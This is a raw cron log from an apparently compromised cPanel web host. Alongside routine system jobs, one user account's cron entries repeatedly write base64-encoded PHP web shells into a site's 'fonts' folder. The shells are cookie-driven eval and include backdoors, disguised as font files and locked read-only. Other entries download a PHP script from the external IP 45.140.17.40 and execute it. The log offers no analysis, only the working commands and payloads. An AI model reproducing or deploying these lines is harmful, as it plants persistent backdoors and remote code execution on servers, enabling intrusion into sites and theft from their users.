Sep 20 20:47:01 ip-184-168-122-23 CROND[5598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:48:01 ip-184-168-122-23 CROND[5879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:48:01 ip-184-168-122-23 CROND[5881]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:48:01 ip-184-168-122-23 CROND[5883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:48:01 ip-184-168-122-23 CROND[5885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:48:01 ip-184-168-122-23 CROND[5889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:49:01 ip-184-168-122-23 CROND[6117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:49:01 ip-184-168-122-23 CROND[6118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:49:01 ip-184-168-122-23 CROND[6121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:49:01 ip-184-168-122-23 CROND[6124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:50:01 ip-184-168-122-23 CROND[6276]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 20:50:01 ip-184-168-122-23 CROND[6279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:50:01 ip-184-168-122-23 CROND[6284]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 20:50:01 ip-184-168-122-23 CROND[6285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:50:01 ip-184-168-122-23 CROND[6282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:50:01 ip-184-168-122-23 CROND[6280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:50:01 ip-184-168-122-23 CROND[6287]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 20:50:01 ip-184-168-122-23 CROND[6283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:50:01 ip-184-168-122-23 CROND[6289]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 20:51:01 ip-184-168-122-23 CROND[6536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:51:01 ip-184-168-122-23 CROND[6538]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:51:01 ip-184-168-122-23 CROND[6537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:51:01 ip-184-168-122-23 CROND[6539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:52:01 ip-184-168-122-23 CROND[6767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:52:01 ip-184-168-122-23 CROND[6768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:52:01 ip-184-168-122-23 CROND[6771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:52:01 ip-184-168-122-23 CROND[6770]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:52:01 ip-184-168-122-23 CROND[6769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:53:01 ip-184-168-122-23 CROND[6945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:53:01 ip-184-168-122-23 CROND[6946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:53:01 ip-184-168-122-23 CROND[6948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:53:01 ip-184-168-122-23 CROND[6950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:54:01 ip-184-168-122-23 CROND[7024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:54:01 ip-184-168-122-23 CROND[7026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:54:01 ip-184-168-122-23 CROND[7028]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:54:01 ip-184-168-122-23 CROND[7030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:54:01 ip-184-168-122-23 CROND[7031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:55:01 ip-184-168-122-23 CROND[7118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:55:01 ip-184-168-122-23 CROND[7121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:55:01 ip-184-168-122-23 CROND[7120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:55:01 ip-184-168-122-23 CROND[7122]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 20:55:01 ip-184-168-122-23 CROND[7124]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 20:55:01 ip-184-168-122-23 CROND[7123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:56:01 ip-184-168-122-23 CROND[7211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:56:01 ip-184-168-122-23 CROND[7210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:56:02 ip-184-168-122-23 CROND[7218]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:56:02 ip-184-168-122-23 CROND[7219]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:56:02 ip-184-168-122-23 CROND[7217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:57:01 ip-184-168-122-23 CROND[7343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:57:01 ip-184-168-122-23 CROND[7346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:57:01 ip-184-168-122-23 CROND[7347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:57:01 ip-184-168-122-23 CROND[7350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:58:01 ip-184-168-122-23 CROND[7657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:58:01 ip-184-168-122-23 CROND[7660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:58:01 ip-184-168-122-23 CROND[7661]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:58:01 ip-184-168-122-23 CROND[7662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:58:01 ip-184-168-122-23 CROND[7659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:59:02 ip-184-168-122-23 CROND[7881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:59:02 ip-184-168-122-23 CROND[7883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:59:02 ip-184-168-122-23 CROND[7882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:59:02 ip-184-168-122-23 CROND[7884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
